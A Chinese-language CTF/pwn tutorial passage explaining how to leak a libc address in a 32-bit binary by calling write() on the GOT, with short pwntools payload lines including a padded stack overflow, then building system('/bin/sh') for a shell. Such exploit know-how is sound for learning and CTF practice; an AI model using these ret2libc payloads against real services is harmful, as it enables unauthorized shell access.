ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil("What is your name?")
r.send(payload)

布置好的是这样的

首先写入write函数的plt表地址(write函数的实际地址),去调用write函数
接着在函数返回地址处写入main函数地址,控制程序执行流

最后的p32(1)+p32(write_got)+p32(4)是我们一开始写入的调用write函数的参数,目的是调用write函数去打印write的got表(write函数的地址),32位程序,一次传入4字节

这句payload会泄露程序里的write函数的地址,利用libcsearcher就能获取这个程序libc的基址,接下我们就可以构造system(‘/bin/sh’)获取shell了

2.当文件中存在read函数时,可返回read的got表

payload='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)

(pwn) C语言 write函数且使用write函数泄露 libc版本相关推荐

  1. ACMNO.23 C语言-素数判定 写一个判断素数的函数,在主函数输入一个整数,输出是否是素数的消息。 输入 一个数 输出 如果是素数输出prime 如果不是输出not prime

    题目描述 写一个判断素数的函数,在主函数输入一个整数,输出是否是素数的消息. 输入 一个数 输出 如果是素数输出prime 如果不是输出not prime 样例输入 97 样例输出 prime 来源/ ...

  2. c语言计算字符串的函数是什么,字符函数

    字符函数(character function)是处理字符型数据的函数,其自变量或函数值中至少有一个是字符型数据. 中文名 字符函数 外文名 character function 应用领域 计算机等涉 ...

  3. c语言中存储字符用什么函数,那些C语言中你不知道的字符串函数(坑)

    1.strcpy() 在字符串拷贝函数中,它的函数编写不难,如下 char* Strcpy(char* dest, const char* src) { assert(dest != NULL &am ...

  4. R语言笔记7:认识循环函数、lapply和sapply

    R语言基础系列: 你知道R中的赋值符号箭头(<-)和等号(=)的区别吗? 1数据类型(向量.数组.矩阵. 列表和数据框) 2读写数据所需的主要函数.与外部环境交互 3数据筛选--提取对象的子集 ...

  5. R语言ggplot2可视化移除数据中的NA值再可视化实战:消除图形中非常突出的NA柱状图、使用subset函数、使用drop_na函数

    R语言ggplot2可视化移除数据中的NA值再可视化实战:消除图形中非常突出的NA柱状图.使用subset函数.使用drop_na函数 目录

  6. R语言使用DALEX包的model_profile函数对caret包生成的多个算法模型的离散变量进行分析、使用偏依赖图(Partial Dependence Plots)解释某个离散特征和目标y的关系

    R语言使用DALEX包的model_profile函数对caret包生成的多个算法模型的离散变量进行分析.使用偏依赖图(Partial Dependence Plots)解释某个离散特征和目标值y的关 ...

  7. R语言使用psych包的fa函数对指定数据集进行因子分析(输入数据为相关性矩阵)、使用rotate参数指定进行斜交旋转提取因子、使用fa.diagram函数可视化斜交旋转因子分析、并解读可视化图形

    R语言使用psych包的fa函数对指定数据集进行因子分析(输入数据为相关性矩阵).使用rotate参数指定进行斜交旋转提取因子.使用fa.diagram函数可视化斜交旋转因子分析.并解读可视化图形 目 ...

  8. R语言使用caret包的preProcess函数进行数据预处理:对所有的数据列进行SpatialSign变换(将数据投影到单位圆之内)、设置method参数为spatialSign

    R语言使用caret包的preProcess函数进行数据预处理:对所有的数据列进行SpatialSign变换(将数据投影到单位圆之内).设置method参数为spatialSign 目录

  9. R语言使用DALEX包的model_performance函数对caret包生成的多个算法模型进行残差分布分析并使用箱图进行残差分布的可视化

    R语言使用DALEX包的model_performance函数对caret包生成的多个算法模型进行残差分布分析并使用箱图进行残差分布的可视化 目录

最新文章

  1. scikit正则化 API
  2. linux selinux 安全子系统简介
  3. iOS面试用到的知识点和技术点--第二章
  4. 系统架构师笔记(1)
  5. Spring模板对象之RedisTemplate(Spring整合jedis)
  6. SimpleExecutor.doQuery()-执行的StatementHandler 的query()方法
  7. ecplice中class.forname一直报错_A6v5.1升级A6v7.0报错:调用Java代码
  8. 对排除VLAN中Trunk配置故障一文的补充
  9. 《黑马程序员》 block的使用(Objective - c语法)
  10. Android 饼状图(MPAndroidChart框架)
  11. 第十三次CCF CSP认证(2018年3月)真题棋局评估
  12. 【新机软件安装及环境配置】(持续更新ing)
  13. 5月书讯 | 哺育小平邦彦、伊藤清等一代数学家的“数学圣经”终于来啦!
  14. 什么时候做牙齿矫正好呢?
  15. SDN概述,SDN是什么?
  16. 使用INT4/INT类型替换INT8/BIGINT类型能够节省多少磁盘空间?
  17. 社群裂变营销活动如何提升用户信任度?
  18. DhtmlxGrid第一次接触,jsp页面
  19. 图论-生成树-黑暗城堡
  20. 2022-2027年中国开采沙石行业发展监测及投资战略研究报告

热门文章

  1. .Net面试题(3)
  2. Catalyst6500系列引擎上MSFC和PFC的区别
  3. 4.成本核算相关步骤的财务处理
  4. 使用MediaCodeC将图片集编码为视频
  5. Educational Codeforces Round 64 -C(二分)
  6. 989-数组形式的整数加法
  7. 那些年我们程序员欠下的技术债
  8. 在RHEL上实现OpeenSSH
  9. WebGL学习笔记七点一
  10. 二一、MDT 2013 Update 1批量部署-客户端批量授权利用KMS服务器激活